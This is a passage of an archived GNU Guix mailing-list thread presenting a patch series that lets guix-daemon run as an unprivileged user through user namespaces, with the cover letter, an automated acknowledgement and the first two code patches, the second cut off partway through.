X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Fri, 24 Jan 2025 17:24:02 +0000 Resent-Message-ID: <handler.75810.B.173773941912739 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: report 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludovic.courtes@HIDDEN> X-Debbugs-Original-To: guix-patches@HIDDEN Received: via spool by submit <at> debbugs.gnu.org id=B.173773941912739 (code B ref -1); Fri, 24 Jan 2025 17:24:02 +0000 Received: (at submit) by debbugs.gnu.org; 24 Jan 2025 17:23:39 +0000 Received: from localhost ([127.0.0.1]:46876 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tbNP4-0003JI-FG for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:23:38 -0500 Received: from lists.gnu.org ([2001:470:142::17]:42976) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNP1-0003Iq-4f for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:23:32 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]) by lists.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tbNOv-0002jg-NH for guix-patches@HIDDEN; Fri, 24 Jan 2025 12:23:25 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tbNOu-0007lR-MV; Fri, 24 Jan 2025 12:23:24 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:Date:Subject:To:From:in-reply-to: references; bh=PD6esGgynPOINnX7oSt5mYPBliDR3e5pryXB3tW8/8Y=; b=o5s3EXNxJjPzrE QAPCs6SEqUTl9K8Ax/LFlk2P11elT2FIKR+lUR3P1O0PZXD2EK8/2ko/zGqP/I06vUW6fCzWfztCC JMufeWCYISqjvsRBj1a2rxWkdhh9fBCDANPrb8b0uMNptCuVvL2g3AoTBGWlzQdMbQfXdHmSkCdMy q6lhuJ5FY7omSLwY/RiFK4Taq4sEh0kisiNawfpj/gwQsPUUaL01CUOiBhs3JT+xvkFrZDj7sieZ4 EBK8WRIYlzu2X7zBKezFo50L/cC49p4OKy5GiuKz7gQdF1GfnCyA/VGWwVMJN68doY2D004fQKtgR logQONcnHtvbM+5exx7Q==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Fri, 24 Jan 2025 18:23:08 +0100 Message-ID: <cover.1737738362.git.ludo@HIDDEN> X-Mailer: git-send-email 2.47.1 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -0.0 (/) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -1.0 (-) From: Ludovic Courtès <ludovic.courtes@HIDDEN> Hello Guix! That guix-daemon runs as root is not confidence-inspiring for many. Initially, the main reason for running it as root was, in the absence of user namespaces, the fact that builders would be started under one of the build user accounts, which only root can do. Now that unprivileged user namespaces are almost ubiquitous (even on HPC clusters), this is no longer a good reason. This patch changes guix-daemon so it can run as an unprivileged user, using unprivileged user namespaces to still support isolated builds. There’s a couple of cases where root is/was still necessary: 1. To create /var/guix/profiles/per-user/$USER and chown it as $USER (see CVE-2019-18192). 2. To chown /tmp/guix-build-* when using ‘--keep-failed’. Both can be addressed by giving CAP_CHOWN to guix-daemon, and this is what this patch series does on distros using systemd. (For some reason CAP_CHOWN had to be added to the set of “ambient capabilities”, which are inherited by child processes; this is why there’s a patch to drop ambient capabilities in build processes.) On Guix System (not implemented here), we could address (1) by creating /var/guix/profiles/per-user/$USER upfront for all the user accounts. We could leave (2) unaddressed (so failed build directories would be owned by guix-daemon:guix-daemon) or we’d have to pass CAP_CHOWN as well. There’s another issue: /gnu/store can no longer be remounted read-only (like we do on Guix System and on systemd with ‘gnu-store.mount’) because then unprivileged guix-daemon would be unable to remount it read-write (or at least I couldn’t find a way to do that). Thus ‘guix-install.sh’ no longer installs ‘gnu-store.mount’ in that case. It’s a bit sad to lose that so if anyone can think of a way to achieve it, that’d be great. I tested all this in a Debian VM¹, along these lines: 1. GUIX_ALLOW_ME_TO_USE_PRIVATE_COMMIT=yes make update-guix-package 2. ./pre-inst-env guix pack -C zstd guix --without-tests=guix \ --localstatedir --profile-name=current-guix 3. Copy ‘guix-install.sh’ and the tarball to the VM over SSH. 4. In the VM: GUIX_BINARY_FILE_NAME=pack.tar.zst ./guix-install.sh The next step (in another patch series) would be Guix System support with automatic transition (essentially “chown -R guix-daemon:guix-daemon /gnu/store”). Thoughts? Ludo’. ¹ https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-12.9.0-amd64-standard.iso Ludovic Courtès (6): daemon: Allow running as non-root with unprivileged user namespaces. DRAFT tests: Run in a chroot and unprivileged user namespaces. daemon: Create /var/guix/profiles/per-user unconditionally. daemon: Drop Linux ambient capabilities before executing builder. etc: systemd services: Run ‘guix-daemon’ as an unprivileged user. guix-install.sh: Support the unprivileged daemon where possible. build-aux/test-env.in | 14 +++- config-daemon.ac | 2 +- etc/guix-daemon.service.in | 12 +++- etc/guix-install.sh | 114 ++++++++++++++++++++++++------- guix/substitutes.scm | 4 +- nix/libstore/build.cc | 132 ++++++++++++++++++++++++++++++------ nix/libstore/local-store.cc | 30 +++++--- tests/store.scm | 89 ++++++++++++++---------- 8 files changed, 300 insertions(+), 97 deletions(-) base-commit: bc6769f1211104dbc9341c064275cd930f5dfa3a -- 2.47.1
Content-Disposition: inline Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Mailer: MIME-tools 5.505 (Entity 5.505) Content-Type: text/plain; charset=utf-8 X-Loop: help-debbugs@HIDDEN From: help-debbugs@HIDDEN (GNU bug Tracking System) To: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Subject: bug#75810: Acknowledgement ([PATCH 0/6] Rootless guix-daemon) Message-ID: <handler.75810.B.173773941912739.ack <at> debbugs.gnu.org> References: <cover.1737738362.git.ludo@HIDDEN> X-Gnu-PR-Message: ack 75810 X-Gnu-PR-Package: guix-patches X-Gnu-PR-Keywords: patch Reply-To: 75810 <at> debbugs.gnu.org Date: Fri, 24 Jan 2025 17:24:02 +0000 Thank you for filing a new bug report with debbugs.gnu.org. This is an automatically generated reply to let you know your message has been received. Your message is being forwarded to the package maintainers and other interested parties for their attention; they will reply in due course. Your message has been sent to the package maintainer(s): guix-patches@HIDDEN If you wish to submit further information on this problem, please send it to 75810 <at> debbugs.gnu.org. Please do not send mail to help-debbugs@HIDDEN unless you wish to report a problem with the Bug-tracking system. --=20 75810: https://debbugs.gnu.org/cgi/bugreport.cgi?bug=3D75810 GNU Bug Tracking System Contact help-debbugs@HIDDEN with problems
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 1/6] daemon: Allow running as non-root with unprivileged user namespaces. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN Resent-Date: Fri, 24 Jan 2025 17:26:02 +0000 Resent-Message-ID: <handler.75810.B75810.173773952013360 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludovic.courtes@HIDDEN>, Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN> X-Debbugs-Original-Xcc: Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173773952013360 (code B ref 75810); Fri, 24 Jan 2025 17:26:02 +0000 Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:20 +0000 Received: from localhost ([127.0.0.1]:46890 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tbNQk-0003Sl-7c for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:20 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:39734) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQh-0003N4-Ab for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:16 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tbNQc-00082X-0O; Fri, 24 Jan 2025 12:25:10 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=xpCSNZlKD/xC2GsfHtr1wqnKQLVLgRRMGCIqgMVlQ94=; b=QBQPaD4IAa/nSt+g28pj jh5L6YWqgV/CvdgjR+5jgXgV4uZTPZX0U2j7ZtZ5TREl0bwCo+g1xRkGJXb9lSR9o+cKFeFifmWRz 9J/ZZZ58Yd4Y35oVCyuyzSrlvYe4QqIEsf8aB5Rk/3RiOx6aIHd98Aw0FN4GzVz64Z8+HI0adWkeD mGIO7H4a9M095pamkOHgr6LhaAbMZJ6EiS+b+fuELhroa+QAeoozF0KcdwBNfZYztFWKYe42epvQ+ +tn8TFNzuCbPEZ5p7UsD0GMoEZ2UWYq1iZ0Dn9z45sR++NKd+0it6MljZ4KZ0Qzre2xvx5hPyMzWY t5y7kS7+4HDZag==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Fri, 24 Jan 2025 18:24:51 +0100 Message-ID: <41862c6aa51aa70c69a348635eb03a5ca8069695.1737738362.git.ludo@HIDDEN> X-Mailer: git-send-email 2.47.1 In-Reply-To: <cover.1737738362.git.ludo@HIDDEN> References: <cover.1737738362.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) From: Ludovic Courtès <ludovic.courtes@HIDDEN> * nix/libstore/build.cc (guestUID, guestGID): New variables. (initializeUserNamespace): New function. (DerivationGoal::startBuilder): Call ‘chown’ only when ‘buildUser.enabled()’ is true. Pass CLONE_NEWUSER to ‘clone’ when ‘buildUser.enabled()’ is false or not running as root. Retry ‘clone’ without CLONE_NEWUSER upon EPERM. (DerivationGoal::registerOutputs): Make ‘actualPath’ writable before ‘rename’. (DerivationGoal::deleteTmpDir): Catch ‘SysError’ around ‘_chown’ call. * nix/libstore/local-store.cc (LocalStore::createUser): Do nothing if ‘dirs’ already exists. Warn instead of failing when failing to chown ‘dir’. * guix/substitutes.scm (%narinfo-cache-directory): Check for ‘_NIX_OPTIONS’ rather than getuid() == 0 to determine the cache location. Change-Id: I38fbe01f80fb45a99cd8a391e55a39a54d64fcb7 --- guix/substitutes.scm | 4 +- nix/libstore/build.cc | 123 +++++++++++++++++++++++++++++------- nix/libstore/local-store.cc | 22 +++++-- 3 files changed, 118 insertions(+), 31 deletions(-) diff --git a/guix/substitutes.scm b/guix/substitutes.scm index e31b394020..2761a3dafb 100644 --- a/guix/substitutes.scm +++ b/guix/substitutes.scm @@ -1,5 +1,5 @@ ;;; GNU Guix --- Functional package management for GNU -;;; Copyright © 2013-2021, 2023-2024 Ludovic Courtès <ludo@HIDDEN> +;;; Copyright © 2013-2021, 2023-2025 Ludovic Courtès <ludo@HIDDEN> ;;; Copyright © 2014 Nikita Karetnikov <nikita@HIDDEN> ;;; Copyright © 2018 Kyle Meyer <kyle@HIDDEN> ;;; Copyright © 2020 Christopher Baines <mail@HIDDEN> @@ -76,7 +76,7 @@ (define %narinfo-cache-directory ;; time, 'guix substitute' is called by guix-daemon as root and stores its ;; cached data in /var/guix/…. However, when invoked from 'guix challenge' ;; as a user, it stores its cache in ~/.cache. - (if (zero? (getuid)) + (if (getenv "_NIX_OPTIONS") ;invoked by guix-daemon (or (and=> (getenv "XDG_CACHE_HOME") (cut string-append <> "/guix/substitute")) (string-append %state-directory "/substitute/cache")) diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc index edd01bab34..727472c77f 100644 --- a/nix/libstore/build.cc +++ b/nix/libstore/build.cc @@ -1622,6 +1622,25 @@ int childEntry(void * arg) } +/* UID and GID of the build user inside its own user namespace. */ +static const uid_t guestUID = 30001; +static const gid_t guestGID = 30000; + +/* Initialize the user namespace of CHILD. */ +static void initializeUserNamespace(pid_t child) +{ + auto hostUID = getuid(); + auto hostGID = getgid(); + + writeFile("/proc/" + std::to_string(child) + "/uid_map", + (format("%d %d 1") % guestUID % hostUID).str()); + + writeFile("/proc/" + std::to_string(child) + "/setgroups", "deny"); + + writeFile("/proc/" + std::to_string(child) + "/gid_map", + (format("%d %d 1") % guestGID % hostGID).str()); +} + void DerivationGoal::startBuilder() { auto f = format( @@ -1685,7 +1704,7 @@ void DerivationGoal::startBuilder() then an attacker could create in it a hardlink to a root-owned file such as /etc/shadow. If 'keepFailed' is true, the daemon would then chown that hardlink to the user, giving them write access to - that file. */ + that file. See CVE-2021-27851. */ tmpDir += "/top"; if (mkdir(tmpDir.c_str(), 0700) == 1) throw SysError("creating top-level build directory"); @@ -1802,7 +1821,7 @@ void DerivationGoal::startBuilder() if (mkdir(chrootRootDir.c_str(), 0750) == -1) throw SysError(format("cannot create ‘%1%’") % chrootRootDir); - if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1) + if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1) throw SysError(format("cannot change ownership of ‘%1%’") % chrootRootDir); /* Create a writable /tmp in the chroot. Many builders need @@ -1821,8 +1840,8 @@ void DerivationGoal::startBuilder() (format( "nixbld:x:%1%:%2%:Nix build user:/:/noshell\n" "nobody:x:65534:65534:Nobody:/:/noshell\n") - % (buildUser.enabled() ? buildUser.getUID() : getuid()) - % (buildUser.enabled() ? buildUser.getGID() : getgid())).str()); + % (buildUser.enabled() ? buildUser.getUID() : guestUID) + % (buildUser.enabled() ? buildUser.getGID() : guestGID)).str()); /* Declare the build user's group so that programs get a consistent view of the system (e.g., "id -gn"). */ @@ -1859,7 +1878,7 @@ void DerivationGoal::startBuilder() createDirs(chrootStoreDir); chmod_(chrootStoreDir, 01775); - if (chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1) + if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1) throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir); foreach (PathSet::iterator, i, inputPaths) { @@ -1971,14 +1990,42 @@ void DerivationGoal::startBuilder() if (useChroot) { char stack[32 * 1024]; int flags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | SIGCHLD; - if (!fixedOutput) flags |= CLONE_NEWNET; + Pipe readiness; + if (!fixedOutput) { + flags |= CLONE_NEWNET; + } + if (!buildUser.enabled() || getuid() != 0) { + flags |= CLONE_NEWUSER; + readiness.create(); + } + /* Ensure proper alignment on the stack. On aarch64, it has to be 16 bytes. */ - pid = clone(childEntry, + pid = clone(childEntry, (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf), flags, this); - if (pid == -1) - throw SysError("cloning builder process"); + if (pid == -1) { + if ((flags & CLONE_NEWUSER) != 0 && getuid() != 0) + /* 'clone' fails with EPERM on distros where unprivileged user + namespaces are disabled. Error out instead of giving up on + isolation. */ + throw SysError("cannot create process in unprivileged user namespace"); + else + throw SysError("cloning builder process"); + } + + if ((flags & CLONE_NEWUSER) != 0) { + /* Initialize the UID/GID mapping of the guest. */ + if (pid == 0) { + char str[20] = { '\0' }; + readFull(readiness.readSide, (unsigned char*)str, 3); + if (strcmp(str, "go\n") != 0) + throw Error("failed to initialize process in unprivileged user namespace"); + } else { + initializeUserNamespace(pid); + writeFull(readiness.writeSide, (unsigned char*)"go\n", 3); + } + } } else #endif { @@ -2030,17 +2077,19 @@ void DerivationGoal::runChild() #if CHROOT_ENABLED if (useChroot) { - /* Initialise the loopback interface. */ - AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)); - if (fd == -1) throw SysError("cannot open IP socket"); + if (!fixedOutput) { + /* Initialise the loopback interface. */ + AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)); + if (fd == -1) throw SysError("cannot open IP socket"); - struct ifreq ifr; - strcpy(ifr.ifr_name, "lo"); - ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING; - if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1) - throw SysError("cannot set loopback interface flags"); + struct ifreq ifr; + strcpy(ifr.ifr_name, "lo"); + ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING; + if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1) + throw SysError("cannot set loopback interface flags"); - fd.close(); + fd.close(); + } /* Set the hostname etc. to fixed values. */ char hostname[] = "localhost"; @@ -2463,8 +2512,16 @@ void DerivationGoal::registerOutputs() if (buildMode == bmRepair) replaceValidPath(path, actualPath); else - if (buildMode != bmCheck && rename(actualPath.c_str(), path.c_str()) == -1) - throw SysError(format("moving build output `%1%' from the chroot to the store") % path); + if (buildMode != bmCheck) { + if (S_ISDIR(st.st_mode)) + /* Change mode on the directory to allow for + rename(2). */ + chmod(actualPath.c_str(), st.st_mode | 0700); + if (rename(actualPath.c_str(), path.c_str()) == -1) + throw SysError(format("moving build output `%1%' from the chroot to the store") % path); + if (S_ISDIR(st.st_mode) && chmod(path.c_str(), st.st_mode) == -1) + throw SysError(format("restoring permissions on directory `%1%'") % actualPath); + } } if (buildMode != bmCheck) actualPath = path; } @@ -2723,8 +2780,25 @@ void DerivationGoal::deleteTmpDir(bool force) // Change the ownership if clientUid is set. Never change the // ownership or the group to "root" for security reasons. if (settings.clientUid != (uid_t) -1 && settings.clientUid != 0) { - _chown(tmpDir, settings.clientUid, - settings.clientGid != 0 ? settings.clientGid : -1); + uid_t uid = settings.clientUid; + gid_t gid = settings.clientGid != 0 ? settings.clientGid : -1; + try { + _chown(tmpDir, uid, gid); + + if (getuid() != 0) { + /* If, without being root, the '_chown' call above + succeeded, then it means we have CAP_CHOWN. Retake + ownership of tmpDir itself so it can be renamed + below. */ + chown(tmpDir.c_str(), getuid(), getgid()); + } + } catch (SysError & e) { + /* When running as an unprivileged user and without + CAP_CHOWN, we cannot chown the build tree. Print a + message and keep going. */ + printMsg(lvlInfo, format("cannot change ownership of build directory '%1%': %2%") + % tmpDir % strerror(e.errNo)); + } if (top != tmpDir) { // Rename tmpDir to its parent, with an intermediate step. @@ -2733,6 +2807,11 @@ void DerivationGoal::deleteTmpDir(bool force) throw SysError("pivoting failed build tree"); if (rename((pivot + "/top").c_str(), top.c_str()) == -1) throw SysError("renaming failed build tree"); + + if (getuid() != 0) + /* Running unprivileged but with CAP_CHOWN. */ + chown(top.c_str(), uid, gid); + rmdir(pivot.c_str()); } } diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc index 0883a4bbce..4308264a4f 100644 --- a/nix/libstore/local-store.cc +++ b/nix/libstore/local-store.cc @@ -306,14 +306,14 @@ void LocalStore::openDB(bool create) void LocalStore::makeStoreWritable() { #if HAVE_UNSHARE && HAVE_STATVFS && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_REMOUNT) - if (getuid() != 0) return; /* Check if /nix/store is on a read-only mount. */ struct statvfs stat; if (statvfs(settings.nixStore.c_str(), &stat) != 0) throw SysError("getting info about the store mount point"); if (stat.f_flag & ST_RDONLY) { - if (unshare(CLONE_NEWNS) == -1) + int flags = CLONE_NEWNS | (getpid() == 0 ? 0 : CLONE_NEWUSER); + if (unshare(flags) == -1) throw SysError("setting up a private mount namespace"); if (mount(0, settings.nixStore.c_str(), "none", MS_REMOUNT | MS_BIND, 0) == -1) @@ -1614,11 +1614,19 @@ void LocalStore::createUser(const std::string & userName, uid_t userId) { auto dir = settings.nixStateDir + "/profiles/per-user/" + userName; - createDirs(dir); - if (chmod(dir.c_str(), 0755) == -1) - throw SysError(format("changing permissions of directory '%s'") % dir); - if (chown(dir.c_str(), userId, -1) == -1) - throw SysError(format("changing owner of directory '%s'") % dir); + auto created = createDirs(dir); + if (!created.empty()) { + if (chmod(dir.c_str(), 0755) == -1) + throw SysError(format("changing permissions of directory '%s'") % dir); + + /* The following operation requires CAP_CHOWN or can be handled + manually by a user with CAP_CHOWN. */ + if (chown(dir.c_str(), userId, -1) == -1) { + rmdir(dir.c_str()); + string message = strerror(errno); + printMsg(lvlInfo, format("failed to change owner of directory '%1%' to %2%: %3%") % dir % userId % message); + } + } } -- 2.47.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 2/6] DRAFT tests: Run in a chroot and unprivileged user namespaces. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Fri, 24 Jan 2025 17:26:02 +0000 Resent-Message-ID: <handler.75810.B75810.173773952413386 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173773952413386 (code B ref 75810); Fri, 24 Jan 2025 17:26:02 +0000 Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:24 +0000 Received: from localhost ([127.0.0.1]:46898 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tbNQq-0003To-5Q for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:24 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:39746) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQi-0003NN-Tg for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:17 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tbNQd-00082m-D2; Fri, 24 Jan 2025 12:25:11 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=bRN6Nu59+C3SYAE0PEM9bbTrcQYq/PayE8qd5RFzwjI=; b=M9DURPznSXpt/+0Faw8C EdqRR1TvbFB7f6yj81bRRhFhl1Vc1JeO65oV8gml+XdJTxFRZ5ijqmD853y1AoMF0nbhaeLxgdq4f q7hmO+LYKdWkIvi4uEzUVVCHdHl0CNtMVbIt4YWgZ1b6bAedkxM8DtSVBeI/dDCMoJ6XplYoNIvXB WKD3IamMG5IxYZlDg7gBjEoEK45fms4irhWHmes9jcc++Riww16spzf0+6NLr4ZJG0M2ElvMexhAv F5ngTtp3LOzbY5eid1vrzM9akT4G6GAGL1oNUaJDm8r9ntfwuM4r4FzjoR/p1YOrKA2FJgu7l1bJP vBZ7RxfdQgwm4w==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Fri, 24 Jan 2025 18:24:52 +0100 Message-ID: <6fb69ee481d628317ed09c6e762f38489bab0ea7.1737738362.git.ludo@HIDDEN> X-Mailer: git-send-email 2.47.1 In-Reply-To: <cover.1737738362.git.ludo@HIDDEN> References: <cover.1737738362.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) DRAFT: - Double-check the test suite. * build-aux/test-env.in: Pass ‘--disable-chroot’ only when unprivileged user namespace support is lacking. * tests/store.scm ("build-things, check mode"): Use ‘gettimeofday’ rather than a shared file as a source of entropy. ("isolated environment"): New test. Change-Id: Iedb816ef548c77799e5b2f9b6a3b7510ad19ec2a --- build-aux/test-env.in | 14 ++++++- tests/store.scm | 89 ++++++++++++++++++++++++++----------------- 2 files changed, 66 insertions(+), 37 deletions(-) diff --git a/build-aux/test-env.in b/build-aux/test-env.in index 9caa29da58..5626152b34 100644 --- a/build-aux/test-env.in +++ b/build-aux/test-env.in @@ -1,7 +1,7 @@ #!/bin/sh # GNU Guix --- Functional package management for GNU -# Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2021 Ludovic Courtès <ludo@HIDDEN> +# Copyright © 2012-2019, 2021, 2025 Ludovic Courtès <ludo@HIDDEN> # # This file is part of GNU Guix. # @@ -102,10 +102,20 @@ then rm -rf "$GUIX_STATE_DIRECTORY/daemon-socket" mkdir -m 0700 "$GUIX_STATE_DIRECTORY/daemon-socket" + # If unprivileged user namespaces are not supported, pass + # '--disable-chroot'. + if [ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \ + || [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]; then + extra_options="" + else + extra_options="--disable-chroot" + fi + # Launch the daemon without chroot support because is 